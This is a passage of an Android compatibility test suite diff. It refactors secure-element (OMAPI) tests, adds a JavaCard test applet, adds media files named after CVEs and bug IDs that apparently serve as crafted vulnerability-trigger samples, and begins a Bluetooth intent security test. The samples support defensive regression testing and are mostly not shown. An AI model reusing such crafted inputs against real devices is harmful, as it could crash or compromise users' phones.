-                byte[] selectResponse = channel.getSelectResponse();
-                assertNotNull("Null Select Response", selectResponse);
-                assertGreaterOrEqual(selectResponse.length, 2);
-                assertEquals(selectResponse[selectResponse.length - 1] & 0xFF, 0x00);
-                assertEquals(selectResponse[selectResponse.length - 2] & 0xFF, 0x90);
-                channel.close();
-                session.close();
-                return selectResponse;
+                byte[] selectResponse = testSelectableAid(reader, LONG_SELECT_RESPONSE_AID);
+                assertTrue("Select Response is not complete", verifyBerTlvData(selectResponse));
             }
         } catch (Exception e) {
-            fail("Unexpected Exception " + e);
+            fail("unexpected exception " + e);
         }
-        return null;
+    }
+
+    private byte[] testSelectableAid(Reader reader, byte[] aid) throws IOException {
+        byte[] selectResponse = null;
+        Session session = null;
+        Channel channel = null;
+        try {
+            assertTrue(reader.isSecureElementPresent());
+            session = reader.openSession();
+            assertNotNull("Null Session", session);
+            channel = session.openLogicalChannel(aid, (byte) 0x00);
+            assertNotNull("Null Channel", channel);
+            selectResponse = channel.getSelectResponse();
+        } finally {
+            if (channel != null) channel.close();
+            if (session != null) session.close();
+        }
+        assertNotNull("Null Select Response", selectResponse);
+        assertGreaterOrEqual(selectResponse.length, 2);
+        assertThat(selectResponse[selectResponse.length - 1] & 0xFF, is(0x00));
+        assertThat(selectResponse[selectResponse.length - 2] & 0xFF, is(0x90));
+        return selectResponse;
     }
 
     /** Tests if NoSuchElementException in Select */
@@ -350,86 +368,107 @@
             for (Reader reader : readers) {
                 testNonSelectableAid(reader, NON_SELECTABLE_AID);
             }
-        } catch (TimeoutException e) {
+        } catch (Exception e) {
             fail("unexpected exception " + e);
         }
     }
 
-    private void testNonSelectableAid(Reader reader, byte[] aid) {
-        boolean exception = false;
+    private void testNonSelectableAid(Reader reader, byte[] aid) throws IOException {
         Session session = null;
+        Channel channel = null;
         try {
             assertTrue(reader.isSecureElementPresent());
             session = reader.openSession();
             assertNotNull("null session", session);
-            Channel channel = session.openLogicalChannel(aid, (byte)0x00);
+            channel = session.openLogicalChannel(aid, (byte) 0x00);
+            fail("Exception expected for this test");
         } catch (NoSuchElementException e) {
-            exception = true;
-            if (session != null) {
-                session.close();
-            }
-        } catch (Exception e) {
-            fail("unexpected exception " + e);
+            // Catch the expected exception here.
+        } finally {
+            if (channel != null) channel.close();
+            if (session != null) session.close();
         }
-        assertTrue(exception);
     }
 
     /** Tests if Security Exception in Transmit */
     @Test
     public void testSecurityExceptionInTransmit() {
-        boolean exception = false;
-        Session session;
-        Channel channel;
         try {
             waitForConnection();
             Reader[] readers = seService.getReaders();
 
             for (Reader reader : readers) {
-                assertTrue(reader.isSecureElementPresent());
-                session = reader.openSession();
-                assertNotNull("null session", session);
-                channel = session.openLogicalChannel(SELECTABLE_AID, (byte)0x00);
-                assertNotNull("Null Channel", channel);
-                byte[] selectResponse = channel.getSelectResponse();
-                assertNotNull("Null Select Response", selectResponse);
-                assertGreaterOrEqual(selectResponse.length, 2);
-                assertEquals(selectResponse[selectResponse.length - 1] & 0xFF, 0x00);
-                assertEquals(selectResponse[selectResponse.length - 2] & 0xFF, 0x90);
-                for (byte[] cmd : ILLEGAL_COMMANDS_TRANSMIT) {
-                    try {
-                        exception = false;
-                        byte[] response = channel.transmit(cmd);
-                    } catch (SecurityException e) {
-                        exception = true;
+                Session session = null;
+                Channel channel = null;
+                try {
+                    assertTrue(reader.isSecureElementPresent());
+                    session = reader.openSession();
+                    assertNotNull("null session", session);
+                    channel = session.openLogicalChannel(SELECTABLE_AID, (byte) 0x00);
+                    assertNotNull("Null Channel", channel);
+                    byte[] selectResponse = channel.getSelectResponse();
+                    assertNotNull("Null Select Response", selectResponse);
+                    assertGreaterOrEqual(selectResponse.length, 2);
+                    assertThat(selectResponse[selectResponse.length - 1] & 0xFF, is(0x00));
+                    assertThat(selectResponse[selectResponse.length - 2] & 0xFF, is(0x90));
+                    for (byte[] cmd : ILLEGAL_COMMANDS_TRANSMIT) {
+                        try {
+                            byte[] response = channel.transmit(cmd);
+                            fail("Exception expected for this test");
+                        } catch (SecurityException e) {
+                            // Catch the expected exception here.
+                        }
                     }
-                    assertTrue(exception);
+                } finally {
+                    if (channel != null) channel.close();
+                    if (session != null) session.close();
                 }
-                channel.close();
-                session.close();
             }
         } catch (Exception e) {
             fail("unexpected exception " + e);
         }
     }
 
-    private byte[] internalTransmitApdu(Reader reader, byte[] apdu) {
+    private byte[] internalTransmitApdu(Reader reader, byte[] apdu) throws IOException {
+        byte[] transmitResponse = null;
+        Session session = null;
+        Channel channel = null;
         try {
             assertTrue(reader.isSecureElementPresent());
-            Session session = reader.openSession();
+            session = reader.openSession();
             assertNotNull("null session", session);
-            Channel channel = session.openLogicalChannel(SELECTABLE_AID, (byte)0x00);
+            channel = session.openLogicalChannel(SELECTABLE_AID, (byte) 0x00);
             assertNotNull("Null Channel", channel);
             byte[] selectResponse = channel.getSelectResponse();
             assertNotNull("Null Select Response", selectResponse);
             assertGreaterOrEqual(selectResponse.length, 2);
-            byte[] transmitResponse = channel.transmit(apdu);
-            channel.close();
-            session.close();
-            return transmitResponse;
-        } catch (Exception e) {
-            fail("unexpected exception " + e);
+            transmitResponse = channel.transmit(apdu);
+        } finally {
+            if (channel != null) channel.close();
+            if (session != null) session.close();
         }
-        return null;
+        return transmitResponse;
+    }
+
+    private byte[] internalTransmitApduWithoutP2(Reader reader, byte[] apdu) throws IOException {
+        byte[] transmitResponse = null;
+        Session session = null;
+        Channel channel = null;
+        try {
+            assertTrue(reader.isSecureElementPresent());
+            session = reader.openSession();
+            assertNotNull("null session", session);
+            channel = session.openLogicalChannel(SELECTABLE_AID);
+            assertNotNull("Null Channel", channel);
+            byte[] selectResponse = channel.getSelectResponse();
+            assertNotNull("Null Select Response", selectResponse);
+            assertGreaterOrEqual(selectResponse.length, 2);
+            transmitResponse = channel.transmit(apdu);
+        } finally {
+            if (channel != null) channel.close();
+            if (session != null) session.close();
+        }
+        return transmitResponse;
     }
 
     /**
@@ -447,17 +486,17 @@
             for (Reader reader : readers) {
                 for (byte[] apdu : NO_DATA_APDU) {
                     byte[] response = internalTransmitApdu(reader, apdu);
-                    assertEquals(response.length, 2);
-                    assertEquals(response[response.length - 1] & 0xFF, 0x00);
-                    assertEquals(response[response.length - 2] & 0xFF, 0x90);
+                    assertThat(response.length, is(2));
+                    assertThat(response[response.length - 1] & 0xFF, is(0x00));
+                    assertThat(response[response.length - 2] & 0xFF, is(0x90));
                 }
 
                 for (byte[] apdu : DATA_APDU) {
                     byte[] response = internalTransmitApdu(reader, apdu);
                     /* 256 byte data and 2 bytes of status word */
-                    assertEquals(response.length, 258);
-                    assertEquals(response[response.length - 1] & 0xFF, 0x00);
-                    assertEquals(response[response.length - 2] & 0xFF, 0x90);
+                    assertThat(response.length, is(258));
+                    assertThat(response[response.length - 1] & 0xFF, is(0x00));
+                    assertThat(response[response.length - 2] & 0xFF, is(0x90));
                 }
             }
         } catch (Exception e) {
@@ -485,8 +524,8 @@
                         apdu[2] = (byte)(i+1);
                         byte[] response = internalTransmitApdu(reader, apdu);
                         byte[] SW = SW_62xx[i];
-                        assertEquals(response[response.length - 1], SW[1]);
-                        assertEquals(response[response.length - 2], SW[0]);
+                        assertThat(response[response.length - 1], is(SW[1]));
+                        assertThat(response[response.length - 2], is(SW[0]));
                     }
                 }
 
@@ -496,8 +535,8 @@
                     byte[] response = internalTransmitApdu(reader, apdu);
                     byte[] SW = SW_62xx[i];
                     assertGreaterOrEqual(response.length, 3);
-                    assertEquals(response[response.length - 1], SW[1]);
-                    assertEquals(response[response.length - 2], SW[0]);
+                    assertThat(response[response.length - 1], is(SW[1]));
+                    assertThat(response[response.length - 2], is(SW[0]));
                 }
 
                 for (byte i = 0x00; i < SW_62xx.length; i++) {
@@ -506,11 +545,12 @@
                     byte[] response = internalTransmitApdu(reader, apdu);
                     assertGreaterOrEqual(response.length, apdu.length + 2);
                     byte[] responseSubstring = Arrays.copyOfRange(response, 0, apdu.length);
-                    apdu[0] = 0x01;
+                    // We should not care about which channel number is actually assigned.
+                    responseSubstring[0] = apdu[0];
                     assertTrue(Arrays.equals(responseSubstring, apdu));
                     byte[] SW = SW_62xx[i];
-                    assertEquals(response[response.length - 1], SW[1]);
-                    assertEquals(response[response.length - 2], SW[0]);
+                    assertThat(response[response.length - 1], is(SW[1]));
+                    assertThat(response[response.length - 2], is(SW[0]));
                 }
             }
         } catch (Exception e) {
@@ -531,10 +571,10 @@
                     byte[] b = { 0x00, 0x00, apdu[2], apdu[3] };
                     ByteBuffer wrapped = ByteBuffer.wrap(b);
                     int expectedLength = wrapped.getInt();
-                    assertEquals(response.length, expectedLength + 2);
-                    assertEquals(response[response.length - 1] & 0xFF, 0x00);
-                    assertEquals(response[response.length - 2] & 0xFF, 0x90);
-                    assertEquals(response[response.length - 3] & 0xFF, 0xFF);
+                    assertThat(response.length, is(expectedLength + 2));
+                    assertThat(response[response.length - 1] & 0xFF, is(0x00));
+                    assertThat(response[response.length - 2] & 0xFF, is(0x90));
+                    assertThat(response[response.length - 3] & 0xFF, is(0xFF));
                 }
             }
         } catch (Exception e) {
@@ -542,7 +582,11 @@
         }
     }
 
-    /** Test the P2 value of the select command sent by the underlying implementation */
+    /**
+     * Tests the P2 value of the select command.
+     *
+     * Verifies that the default P2 value (0x00) is not modified by the underlying implementation.
+     */
     @Test
     public void testP2Value() {
         try {
@@ -550,11 +594,11 @@
             Reader[] readers = seService.getReaders();
 
             for (Reader reader : readers) {
-                byte[] response = internalTransmitApdu(reader, CHECK_SELECT_P2_APDU);
+                byte[] response = internalTransmitApduWithoutP2(reader, CHECK_SELECT_P2_APDU);
                 assertGreaterOrEqual(response.length, 3);
-                assertEquals(response[response.length - 1] & 0xFF, 0x00);
-                assertEquals(response[response.length - 2] & 0xFF, 0x90);
-                assertEquals(response[response.length - 3] & 0xFF, 0x00);
+                assertThat(response[response.length - 1] & 0xFF, is(0x00));
+                assertThat(response[response.length - 2] & 0xFF, is(0x90));
+                assertThat(response[response.length - 3] & 0xFF, is(0x00));
             }
         } catch (Exception e) {
           fail("unexpected exception " + e);
diff --git a/tests/tests/secure_element/sample_applet/Google-eSE-test.cap b/tests/tests/secure_element/sample_applet/Google-eSE-test.cap
new file mode 100644
index 0000000..448cadb
--- /dev/null
+++ b/tests/tests/secure_element/sample_applet/Google-eSE-test.cap
Binary files differ
diff --git a/tests/tests/secure_element/sample_applet/src/com/android/cts/omapi/test/CtsAndroidOmapiTestApplet.java b/tests/tests/secure_element/sample_applet/src/com/android/cts/omapi/test/CtsAndroidOmapiTestApplet.java
new file mode 100644
index 0000000..ff12921
--- /dev/null
+++ b/tests/tests/secure_element/sample_applet/src/com/android/cts/omapi/test/CtsAndroidOmapiTestApplet.java
@@ -0,0 +1,319 @@
+package com.android.cts.omapi.test;
+
+import javacard.framework.APDU;
+import javacard.framework.ISO7816;
+import javacard.framework.Applet;
+import javacard.framework.ISOException;
+import javacard.framework.Util;
+
+public class CtsAndroidOmapiTestApplet extends Applet {
+
+  final private static byte NO_DATA_INS_1 = (byte) 0x06;
+  final private static byte NO_DATA_INS_2 = (byte) 0x0A;
+
+  final private static byte DATA_INS_1 = (byte) 0x08;
+  final private static byte DATA_INS_2 = (byte) 0x0C;
+
+  final private static byte SW_62xx_APDU_INS = (byte) 0xF3;
+  final private static byte SW_62xx_DATA_APDU_P2 = (byte) 0x08;
+  final private static byte SW_62xx_VALIDATE_DATA_P2 = (byte) 0x0C;
+  private final static byte[] SW_62xx_VALIDATE_DATA_RESP =
+            new byte[]{0x01, (byte) 0xF3, 0x00, 0x0C, 0x01, (byte) 0xAA, 0x00};
+  private final static short[] SW_62xx_resp = new short[]{
+      (short)0x6200, (short)0x6281, (short)0x6282, (short)0x6283,
+      (short)0x6285, (short)0x62F1, (short)0x62F2, (short)0x63F1,
+      (short)0x63F2, (short)0x63C2, (short)0x6202, (short)0x6280,
+      (short)0x6284, (short)0x6286, (short)0x6300, (short)0x6381,
+  };
+
+  final public static byte SEGMENTED_RESP_INS_1 = (byte) 0xC2;
+  final public static byte SEGMENTED_RESP_INS_2 = (byte) 0xC4;
+  final public static byte SEGMENTED_RESP_INS_3 = (byte) 0xC6;
+  final public static byte SEGMENTED_RESP_INS_4 = (byte) 0xC8;
+  final public static byte SEGMENTED_RESP_INS_5 = (byte) 0xCF;
+
+  final private static byte CHECK_SELECT_P2_APDU = (byte)0xF4;
+  final public static byte GET_RESPONSE_INS = (byte) 0xC0;
+
+  final private static byte BER_TLV_TYPE = (byte) 0x1F;
+  final private static short SELECT_RESPONSE_DATA_LENGTH = (short)252;
+
+  private byte[] respBuf;
+  private short respBuffOffset = 0;
+
+  final private static short LENGTH_256 = (short) 0x0100;
+  private final static byte[] resp_bytes256 = new byte[]{
+    (byte)0x00, (byte)0x01, (byte)0x02, (byte)0x03, (byte)0x04, (byte)0x05,
+    (byte)0x06, (byte)0x07, (byte)0x08, (byte)0x09, (byte)0x0A, (byte)0x0B,
+    (byte)0x0C, (byte)0x0D, (byte)0x0E, (byte)0x0F,
+    (byte)0x10, (byte)0x11, (byte)0x12, (byte)0x13, (byte)0x14, (byte)0x15,
+    (byte)0x16, (byte)0x17, (byte)0x18, (byte)0x19, (byte)0x1A, (byte)0x1B,
+    (byte)0x1C, (byte)0x1D, (byte)0x1E, (byte)0x1F,
+    (byte)0x20, (byte)0x21, (byte)0x22, (byte)0x23, (byte)0x24, (byte)0x25,
+    (byte)0x26, (byte)0x27, (byte)0x28, (byte)0x29, (byte)0x2A, (byte)0x2B,
+    (byte)0x2C, (byte)0x2D, (byte)0x2E, (byte)0x2F,
+    (byte)0x30, (byte)0x31, (byte)0x32, (byte)0x33, (byte)0x34, (byte)0x35,
+    (byte)0x36, (byte)0x37, (byte)0x38, (byte)0x39, (byte)0x3A, (byte)0x3B,
+    (byte)0x3C, (byte)0x3D, (byte)0x3E, (byte)0x3F,
+    (byte)0x40, (byte)0x41, (byte)0x42, (byte)0x43, (byte)0x44, (byte)0x45,
+    (byte)0x46, (byte)0x47, (byte)0x48, (byte)0x49, (byte)0x4A, (byte)0x4B,
+    (byte)0x4C, (byte)0x4D, (byte)0x4E, (byte)0x4F,
+    (byte)0x50, (byte)0x51, (byte)0x52, (byte)0x53, (byte)0x54, (byte)0x55,
+    (byte)0x56, (byte)0x57, (byte)0x58, (byte)0x59, (byte)0x5A, (byte)0x5B,
+    (byte)0x5C, (byte)0x5D, (byte)0x5E, (byte)0x5F,
+    (byte)0x60, (byte)0x61, (byte)0x62, (byte)0x63, (byte)0x64, (byte)0x65,
+    (byte)0x66, (byte)0x67, (byte)0x68, (byte)0x69, (byte)0x6A, (byte)0x6B,
+    (byte)0x6C, (byte)0x6D, (byte)0x6E, (byte)0x6F,
+    (byte)0x70, (byte)0x71, (byte)0x72, (byte)0x73, (byte)0x74, (byte)0x75,
+    (byte)0x76, (byte)0x77, (byte)0x78, (byte)0x79, (byte)0x7A, (byte)0x7B,
+    (byte)0x7C, (byte)0x7D, (byte)0x7E, (byte)0x7F,
+    (byte)0x80, (byte)0x81, (byte)0x82, (byte)0x83, (byte)0x84, (byte)0x85,
+    (byte)0x86, (byte)0x87, (byte)0x88, (byte)0x89, (byte)0x8A, (byte)0x8B,
+    (byte)0x8C, (byte)0x8D, (byte)0x8E, (byte)0x8F,
+    (byte)0x90, (byte)0x91, (byte)0x92, (byte)0x93, (byte)0x94, (byte)0x95,
+    (byte)0x96, (byte)0x97, (byte)0x98, (byte)0x99, (byte)0x9A, (byte)0x9B,
+    (byte)0x9C, (byte)0x9D, (byte)0x9E, (byte)0x9F,
+    (byte)0xA0, (byte)0xA1, (byte)0xA2, (byte)0xA3, (byte)0xA4, (byte)0xA5,
+    (byte)0xA6, (byte)0xA7, (byte)0xA8, (byte)0xA9, (byte)0xAA, (byte)0xAB,
+    (byte)0xAC, (byte)0xAD, (byte)0xAE, (byte)0xAF,
+    (byte)0xB0, (byte)0xB1, (byte)0xB2, (byte)0xB3, (byte)0xB4, (byte)0xB5,
+    (byte)0xB6, (byte)0xB7, (byte)0xB8, (byte)0xB9, (byte)0xBA, (byte)0xBB,
+    (byte)0xBC, (byte)0xBD, (byte)0xBE, (byte)0xBF,
+    (byte)0xC0, (byte)0xC1, (byte)0xC2, (byte)0xC3, (byte)0xC4, (byte)0xC5,
+    (byte)0xC6, (byte)0xC7, (byte)0xC8, (byte)0xC9, (byte)0xCA, (byte)0xCB,
+    (byte)0xCC, (byte)0xCD, (byte)0xCE, (byte)0xCF,
+    (byte)0xD0, (byte)0xD1, (byte)0xD2, (byte)0xD3, (byte)0xD4, (byte)0xD5,
+    (byte)0xD6, (byte)0xD7, (byte)0xD8, (byte)0xD9, (byte)0xDA, (byte)0xDB,
+    (byte)0xDC, (byte)0xDD, (byte)0xDE, (byte)0xDF,
+    (byte)0xE0, (byte)0xE1, (byte)0xE2, (byte)0xE3, (byte)0xE4, (byte)0xE5,
+    (byte)0xE6, (byte)0xE7, (byte)0xE8, (byte)0xE9, (byte)0xEA, (byte)0xEB,
+    (byte)0xEC, (byte)0xED, (byte)0xEE, (byte)0xEF,
+    (byte)0xF0, (byte)0xF1, (byte)0xF2, (byte)0xF3, (byte)0xF4, (byte)0xF5,
+    (byte)0xF6, (byte)0xF7, (byte)0xF8, (byte)0xF9, (byte)0xFA, (byte)0xFB,
+    (byte)0xFC, (byte)0xFD, (byte)0xFE, (byte)0xFF
+  };
+
+  public static void install(byte[] bArray, short bOffset, byte bLength) {
+    // GP-compliant JavaCard applet registration
+    new com.android.cts.omapi.test.CtsAndroidOmapiTestApplet().register(bArray, (short) (bOffset + 1), bArray[bOffset]);
+  }
+
+  public void process(APDU apdu) {
+    byte[] buf = apdu.getBuffer();
+    short le, lc;
+    short sendLen;
+    byte p1 = buf[ISO7816.OFFSET_P1];
+    byte p2 = buf[ISO7816.OFFSET_P2];
+
+    if (selectingApplet()) {
+      lc = buf[ISO7816.OFFSET_LC];
+      if (buf[(short)(lc + ISO7816.OFFSET_CDATA - 1)]  == 0x31) {
+        //AID: A000000476416E64726F696443545331
+        ISOException.throwIt(ISO7816.SW_NO_ERROR);
+      } else {
+        //A000000476416E64726F696443545332
+        sendLen = fillBerTLVBytes(SELECT_RESPONSE_DATA_LENGTH);
+        le = apdu.setOutgoing();
+        apdu.setOutgoingLength((short)sendLen);
+        Util.arrayCopy(respBuf, (short)0, buf, (short)0, (short)respBuf.length);
+        apdu.sendBytesLong(buf, respBuffOffset, sendLen);
+        return;
+      }
+    }
+    switch (buf[ISO7816.OFFSET_INS]) {
+    case NO_DATA_INS_1:
+    case NO_DATA_INS_2:
+      ISOException.throwIt(ISO7816.SW_NO_ERROR);
+      break;
+    case DATA_INS_2:
+      apdu.setIncomingAndReceive();
+      //case 3 APDU, return 256 bytes data
+      sendLen = fillBytes((short)256);
+      le = apdu.setOutgoing();
+      apdu.setOutgoingLength((short)sendLen);
+      Util.arrayCopy(respBuf, (short)0, buf, (short)0, (short)respBuf.length);
+      apdu.sendBytesLong(buf, respBuffOffset, sendLen);
+      break;   
+    case GET_RESPONSE_INS:
+      apdu.setIncomingAndReceive();
+        //ISO GET_RESPONSE command
+        if (respBuf == null) {
+          ISOException.throwIt(ISO7816.SW_CONDITIONS_NOT_SATISFIED);
+        } else {
+          le = apdu.setOutgoing();
+          sendLen = (short) (respBuf.length - respBuffOffset);
+          sendLen = le > sendLen ? sendLen : le;
+          apdu.setOutgoingLength(sendLen);
+          apdu.sendBytesLong(respBuf, respBuffOffset, sendLen);
+          respBuffOffset += sendLen;
+          sendLen = (short) (respBuf.length - respBuffOffset);
+          if (sendLen > 0) {
+            if (sendLen > 256) sendLen = 0x00;
+            ISOException.throwIt((short)(ISO7816.SW_BYTES_REMAINING_00 | sendLen));
+          } else {
+            respBuf = null;
+          }
+        }
+      break;
+    case DATA_INS_1:
+      // return 256 bytes data
+      sendLen = fillBytes((short)256);
+      le = apdu.setOutgoing();
+      apdu.setOutgoingLength((short) sendLen);
+      Util.arrayCopy(respBuf, (short)0, buf, (short)0, (short)respBuf.length);
+      apdu.sendBytesLong(buf, respBuffOffset, sendLen);
+      break;
+    case SW_62xx_APDU_INS:
+      if (p1 > 16 || p1 < 1) {
+        ISOException.throwIt(ISO7816.SW_INCORRECT_P1P2);
+      } else if (p2 == SW_62xx_DATA_APDU_P2){
+        sendLen = fillBytes((short)3);
+        le = apdu.setOutgoing();
+        apdu.setOutgoingLength((short)sendLen);
+        Util.arrayCopy(respBuf, (short)0, buf, (short)0, (short) respBuf.length);
+        apdu.sendBytesLong(buf, respBuffOffset, sendLen);
+        ISOException.throwIt(SW_62xx_resp[p1 -1]);
+      } else if (p2 == SW_62xx_VALIDATE_DATA_P2){
+        le = apdu.setOutgoing();
+        apdu.setOutgoingLength((short) (SW_62xx_VALIDATE_DATA_RESP.length));
+        Util.arrayCopy(SW_62xx_VALIDATE_DATA_RESP, (short) 0, buf, (short) 0,
+          (short) SW_62xx_VALIDATE_DATA_RESP.length);
+        buf[ISO7816.OFFSET_P1] = p1;
+        apdu.sendBytesLong(buf, (short)0, (short) SW_62xx_VALIDATE_DATA_RESP.length);
+        ISOException.throwIt(SW_62xx_resp[p1 -1]);
+      } else {
+        ISOException.throwIt(SW_62xx_resp[p1 -1]);
+      }
+      break;
+    case SEGMENTED_RESP_INS_1:
+    case SEGMENTED_RESP_INS_2:
+      le = (short)((short)((p1 & 0xFF)<< 8) | (short)(p2 & 0xFF));
+      sendLen = fillBytes(le);
+      le = apdu.setOutgoing();
+      sendLen = le > sendLen ? sendLen : le;
+      if (sendLen > 0xFF) sendLen = 0xFF;
+      apdu.setOutgoingLength(sendLen);
+      apdu.sendBytesLong(respBuf, respBuffOffset, sendLen);
+      respBuffOffset += sendLen;
+      sendLen = (short) (respBuf.length - respBuffOffset);
+      if (sendLen > 0) {
+        if (sendLen > 256) sendLen = 0x00;
+        ISOException.throwIt((short) (ISO7816.SW_BYTES_REMAINING_00 | sendLen));
+      }
+      break;
+    case SEGMENTED_RESP_INS_3:
+    case SEGMENTED_RESP_INS_4:
+      le = (short)((short)((p1 & 0xFF)<< 8) | (short)(p2 & 0xFF));
+      sendLen = fillBytes(le);
+      le = apdu.setOutgoing();
+      sendLen = le > sendLen ? sendLen : le;
+      apdu.setOutgoingLength(sendLen);
+      apdu.sendBytesLong(respBuf, respBuffOffset, sendLen);
+      respBuffOffset += sendLen;
+      sendLen = (short) (respBuf.length - respBuffOffset);
+      if (sendLen > 0) {
+        if (sendLen > 256) sendLen = 0x00;
+        ISOException.throwIt((short) (ISO7816.SW_BYTES_REMAINING_00 | sendLen));
+      }
+      break;
+
+    case SEGMENTED_RESP_INS_5:
+      le = apdu.setOutgoing();
+      if (le != 0xFF) {
+        short buffer_len = (short)((short)((p1 & 0xFF)<< 8) | (short)(p2 & 0xFF));
+        sendLen = fillBytes(buffer_len);
+        sendLen = le > sendLen ? sendLen : le;
+        apdu.setOutgoingLength(sendLen);
+        apdu.sendBytesLong(respBuf, respBuffOffset, sendLen);
+        respBuffOffset += sendLen;
+        sendLen = (short) (respBuf.length - respBuffOffset);
+        if (sendLen > 0) {
+          if (sendLen > 256) sendLen = 0x00;
+          ISOException.throwIt((short)(ISO7816.SW_BYTES_REMAINING_00 | sendLen));
+        }
+      } else {
+        ISOException.throwIt((short)(ISO7816.SW_CORRECT_LENGTH_00 | 0xFF));
+      }
+      break;
+    case CHECK_SELECT_P2_APDU:
+      byte[] p2_00 = new byte[] {0x00};
+      le = apdu.setOutgoing();
+      apdu.setOutgoingLength((short) p2_00.length);
+      Util.arrayCopy(p2_00, (short) 0, buf, (short) 0, (short) p2_00.length);
+      apdu.sendBytesLong(buf, (short)0, (short)p2_00.length);
+      break;
+    default:
+      // Case is not known.
+      ISOException.throwIt(ISO7816.SW_INS_NOT_SUPPORTED);
+    }
+  }
+
+  /**
+   * Fills APDU buffer with a pattern.
+   *
+   * @param le - length of outgoing data.
+   */
+  public short fillBerTLVBytes(short le) {
+    //support length from 0x00 - 0x7FFF
+    short total_len;
+    short le_len = 1;
+    if (le < (short)0x80) {
+      le_len = 1;
+    } else if (le < (short)0x100) {
+      le_len = 2;
+    } else {
+      le_len = 3;
+    }
+    total_len = (short)(le + 2 + le_len);
+    short i = 0;
+    respBuf = new byte[total_len];
+    respBuf[(short)i] = BER_TLV_TYPE;
+    i = (short)(i + 1);
+    respBuf[(short)i] = 0x00; //second byte of Type
+    i = (short)(i + 1);
+    if (le < (short)0x80) {
+      respBuf[(short)i] = (byte)le;
+      i = (short)(i + 1);
+    } else if (le < (short)0x100) {
+      respBuf[(short)i] = (byte)0x81;
+      i = (short)(i + 1);
+      respBuf[(short)i] = (byte)le;
+      i = (short)(i + 1);
+    } else {
+      respBuf[(short)i] = (byte)0x82;
+      i = (short)(i + 1);
+      respBuf[(short)i] = (byte)(le >> 8);
+      i = (short)(i + 1);
+      respBuf[(short)i] = (byte)(le & 0xFF);
+      i = (short)(i + 1);
+    }
+    while (i < total_len) {
+      respBuf[i] = (byte)((i - 2 - le_len) & 0xFF);
+      i = (short)(i + 1);
+    }
+    respBuf[(short)(respBuf.length - 1)] = (byte)0xFF;
+    respBuffOffset = (short) 0;
+    return total_len;
+  }
+
+  public short fillBytes(short total_len) {
+    short i = 0;
+    short len = total_len;
+    respBuf = new byte[total_len];
+    while (i < total_len) {
+      if (len >= LENGTH_256) {
+        Util.arrayCopyNonAtomic(resp_bytes256, (short)0, respBuf,
+          (short)i, LENGTH_256);
+        i = (short)(i + LENGTH_256);
+        len = (short)(len - LENGTH_256);
+      } else {
+        respBuf[i] = (byte)(i & 0xFF);
+        i = (short)(i + 1);
+      }
+    }
+    respBuffOffset = (short) 0;
+    //set the last byte to 0xFF for CTS validation
+    respBuf[(short)(respBuf.length - 1)] = (byte)0xFF;
+    return total_len;
+  }
+}
diff --git a/tests/tests/secure_element/sample_applet/uicc/google-cardlet.cap b/tests/tests/secure_element/sample_applet/uicc/google-cardlet.cap
new file mode 100644
index 0000000..01f7ea0
--- /dev/null
+++ b/tests/tests/secure_element/sample_applet/uicc/google-cardlet.cap
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_110435401.mid b/tests/tests/security/res/raw/bug_110435401.mid
new file mode 100644
index 0000000..184ab1f
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_110435401.mid
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36592202.ogg b/tests/tests/security/res/raw/bug_36592202.ogg
new file mode 100755
index 0000000..868e630
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36592202.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_65484460.mp4 b/tests/tests/security/res/raw/bug_65484460.mp4
new file mode 100644
index 0000000..13b37e9
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_65484460.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_68664359.mid b/tests/tests/security/res/raw/bug_68664359.mid
new file mode 100644
index 0000000..f816d82
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_68664359.mid
@@ -0,0 +1 @@
+DK:@~kkkkk
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/cve_2016_3756.ogg b/tests/tests/security/res/raw/cve_2016_3756.ogg
new file mode 100644
index 0000000..4f366b0
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3756.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3879.mp3 b/tests/tests/security/res/raw/cve_2016_3879.mp3
new file mode 100644
index 0000000..23ca4c3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3879.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_18155.mp4 b/tests/tests/security/res/raw/cve_2017_18155.mp4
new file mode 100644
index 0000000..5765dbb
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_18155.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9423.mp4 b/tests/tests/security/res/raw/cve_2018_9423.mp4
new file mode 100755
index 0000000..08e2387
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9423.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
new file mode 100644
index 0000000..6a4990f
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import org.junit.Test;
+
+import android.content.ComponentName;
+import android.content.Intent;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+
+@SecurityTest
+public class BluetoothIntentsTest extends AndroidTestCase {
+  /**
+   * b/35258579
+   */
+  @SecurityTest
+  public void testAcceptIntent() {
+    genericIntentTest("ACCEPT");
+  }
+
+  /**
+   * b/35258579
+   */
+  @SecurityTest
+  public void testDeclineIntent() {
+      genericIntentTest("DECLINE");
+  }
+
+  private static final String prefix = "android.btopp.intent.action.";
+  private void genericIntentTest(String action) throws SecurityException {
+    try {
+      Intent should_be_protected_broadcast = new Intent();
+      should_be_protected_broadcast.setComponent(
+          new ComponentName("com.android.bluetooth",
+            "com.android.bluetooth.opp.BluetoothOppReceiver"));
